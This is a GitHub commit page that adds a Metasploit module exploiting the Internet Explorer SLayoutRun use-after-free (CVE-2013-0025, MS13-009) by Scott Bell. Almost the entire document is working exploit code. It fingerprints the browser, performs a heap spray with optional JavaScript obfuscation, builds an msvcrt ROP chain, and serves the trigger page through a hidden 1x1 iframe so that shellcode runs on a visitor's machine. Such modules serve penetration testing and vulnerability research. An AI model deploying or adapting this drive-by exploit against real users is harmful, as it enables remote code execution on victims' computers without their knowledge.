Skip to content

Commit 947aa24

Browse files
committed
MS13-009 / CVE-2013-0025 ie_slayout_uaf.rb by Scott Bell
1 parent 1f881d7 commit 947aa24

File tree

1 file changed

+238
-0
lines changed

1 file changed

+238
-0
lines changed
Lines changed: 238 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,238 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = AverageRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
15+
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
20+
'Description' => %q{
21+
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
22+
where a CParaElement node is released but a reference is still kept
23+
in CDoc. This memory is reused when a CDoc relayout is performed.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Scott Bell <[email protected]>', # Vulnerability discovery & Metasploit module
29+
],
30+
'References' =>
31+
[
32+
[ 'CVE', '2013-0025' ],
33+
[ 'MSB', 'MS13-009' ],
34+
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
35+
],
36+
'Payload' =>
37+
{
38+
'BadChars' => "\x00",
39+
'Space' => 1024,
40+
'DisableNops' => true,
41+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
42+
},
43+
'DefaultOptions' =>
44+
{
45+
'InitialAutoRunScript' => 'migrate -f'
46+
},
47+
'Platform' => 'win',
48+
'Targets' =>
49+
[
50+
[ 'Automatic', {} ],
51+
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
52+
],
53+
'Privileged' => false,
54+
'DisclosureDate' => "Feb 13 2013",
55+
'DefaultTarget' => 0))
56+
57+
register_options(
58+
[
59+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
60+
], self.class)
61+
62+
end
63+
64+
def get_target(agent)
65+
#If the user is already specified by the user, we'll just use that
66+
return target if target.name != 'Automatic'
67+
68+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
69+
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
70+
71+
ie_name = "IE #{ie}"
72+
73+
case nt
74+
when '5.1'
75+
os_name = 'Windows XP SP3'
76+
end
77+
78+
targets.each do |t|
79+
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
80+
print_status("Target selected as: #{t.name}")
81+
return t
82+
end
83+
end
84+
85+
return nil
86+
end
87+
88+
def heap_spray(my_target, p)
89+
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
90+
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
91+
92+
js = %Q|
93+
94+
var heap_obj = new heapLib.ie(0x20000);
95+
var code = unescape("#{js_code}");
96+
var nops = unescape("#{js_nops}");
97+
while (nops.length < 0x80000) nops += nops;
98+
var offset = nops.substring(0, #{my_target['Offset']});
99+
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
100+
while (shellcode.length < 0x40000) shellcode += shellcode;
101+
var block = shellcode.substring(0, (0x80000-6)/2);
102+
heap_obj.gc();
103+
for (var i=1; i < 0x300; i++) {
104+
heap_obj.alloc(block);
105+
}
106+
var overflow = nops.substring(0, 10);
107+
108+
|
109+
110+
js = heaplib(js, {:noobfu => true})
111+
112+
if datastore['OBFUSCATE']
113+
js = ::Rex::Exploitation::JSObfu.new(js)
114+
js.obfuscate
115+
116+
end
117+
118+
return js
119+
end
120+
121+
def get_payload(t, cli)
122+
code = payload.encoded
123+
124+
# No rop. Just return the payload.
125+
return code if t['Rop'].nil?
126+
127+
# ROP chain generated by mona.py - See corelan.be
128+
case t['Rop']
129+
when :msvcrt
130+
print_status("Using msvcrt ROP")
131+
rop_nops = [0x77c39f92].pack("V") * 11 # RETN
132+
rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
133+
rop_payload << rop_nops
134+
rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
135+
rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
136+
rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
137+
rop_payload << [0x77c39f92].pack("V") # RETN
138+
rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
139+
rop_payload << code
140+
141+
end
142+
143+
return rop_payload
144+
end
145+
146+
def this_resource
147+
r = get_resource
148+
return ( r == '/') ? '' : r
149+
end
150+
151+
def get_exploit(my_target, cli)
152+
p = get_payload(my_target, cli)
153+
js = heap_spray(my_target, p)
154+
155+
156+
html = %Q|
157+
<!doctype html>
158+
<html>
159+
<head>
160+
<script>
161+
var data
162+
var objArray = new Array(1800);
163+
#{js}
164+
165+
setTimeout(function(){
166+
for (var i=0;i<objArray.length;i++){
167+
objArray[i] = document.createElement('body');
168+
document.body.appendChild(objArray[i])
169+
objArray[i].style.display = "none"
170+
}
171+
172+
document.body.style.whiteSpace = "pre-line"
173+
174+
for(var i=0;i<10;i++){
175+
for (var i=0;i<(objArray.length-650);i++){
176+
objArray[i].className = data += unescape("%u0c0c%u0c0c");
177+
}
178+
}
179+
180+
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
181+
}, 100)
182+
183+
</script>
184+
</head>
185+
<body>
186+
<p> </p>
187+
</body>
188+
</html>
189+
|
190+
191+
return html
192+
end
193+
194+
195+
def get_iframe
196+
html = %Q|
197+
<html>
198+
<body>
199+
<iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
200+
</body>
201+
</html>
202+
|
203+
204+
return html
205+
end
206+
207+
208+
def on_request_uri(cli, request)
209+
agent = request.headers['User-Agent']
210+
uri = request.uri
211+
print_status("Requesting: #{uri}")
212+
213+
my_target = get_target(agent)
214+
# Avoid the attack if no suitable target found
215+
if my_target.nil?
216+
print_error("Browser not supported, sending 404: #{agent}")
217+
send_not_found(cli)
218+
return
219+
end
220+
221+
if uri =~ /#{@iframe_name}/
222+
html = get_exploit(my_target, cli)
223+
html = html.gsub(/^\t\t/, '')
224+
print_status("Sending HTML...")
225+
elsif uri=~ /\/$/
226+
html = get_iframe
227+
print_status "Sending IFRAME..."
228+
end
229+
send_response(cli, html, {'Content-Type'=>'text/html'})
230+
231+
232+
end
233+
234+
def exploit
235+
@iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
236+
super
237+
end
238+
end

0 commit comments

Comments
 (0)